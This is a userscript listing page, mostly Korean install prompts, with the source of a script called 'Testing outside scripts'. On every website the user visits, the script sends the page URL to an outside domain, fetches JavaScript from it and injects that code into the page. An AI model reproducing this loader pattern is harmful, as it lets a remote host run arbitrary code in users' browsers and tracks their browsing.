Testing outside scripts

Test them scripts, boi

이 스크립트를 설치하려면 Tampermonkey, Greasemonkey 또는 Violentmonkey와 같은 확장 프로그램이 필요합니다.

You will need to install an extension such as Tampermonkey to install this script.

이 스크립트를 설치하려면 Tampermonkey 또는 Violentmonkey와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 Tampermonkey 또는 Userscripts와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 Tampermonkey와 같은 확장 프로그램이 필요합니다.

이 스크립트를 설치하려면 유저 스크립트 관리자 확장 프로그램이 필요합니다.

(이미 유저 스크립트 관리자가 설치되어 있습니다. 설치를 진행합니다!)

이 스타일을 설치하려면 Stylus와 같은 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 Stylus와 같은 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 Stylus와 같은 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 유저 스타일 관리자 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 유저 스타일 관리자 확장 프로그램이 필요합니다.

이 스타일을 설치하려면 유저 스타일 관리자 확장 프로그램이 필요합니다.

(이미 유저 스타일 관리자가 설치되어 있습니다. 설치를 진행합니다!)

// ==UserScript==
// @name            Testing outside scripts
// @description     Test them scripts, boi
// @version         1.0.3
// @author          Oliver P
// @namespace       https://github.com/OlisDevSpot
// @license         MIT
// @match           *://*/*
// @run-at          document-end
// @compatible      safari
// @grant           none
// ==/UserScript==

const COMPANY_NAME = "david-star";
const FIRST_NAME = "Oliver";
const LAST_NAME = "Porat";

// SYSTEM VARS
const CDN_URL = 'https://construction-js-injections.pages.dev';

// PERSONAL VARS
const salesperson = {
	firstName: FIRST_NAME,
	lastName: LAST_NAME,
	get fullName() {
		return this.firstName + " " + this.lastName;
	},
	get key() {
		return this.firstName.toLowerCase() + '-' + this.lastName.toLowerCase();
	},
};

// QUERY STRING
const currentSiteUrl = encodeURIComponent(window.location.href);
const params = {
	data: JSON.stringify({ currentSiteUrl, salesperson }),
};
const urlSearchParams = new URLSearchParams(params).toString();

(function() {
  'use strict';
  
  const url = `${CDN_URL}/${COMPANY_NAME}?${urlSearchParams}`;

  // Fetch and inject
  fetch(url)
    .then(res => res.text())
    .then(code => {
      const script = document.createElement('script');
      script.textContent = code;
      document.head.appendChild(script);
    })
    .catch(err => console.error('Failed loading dynamic script:', err));
})();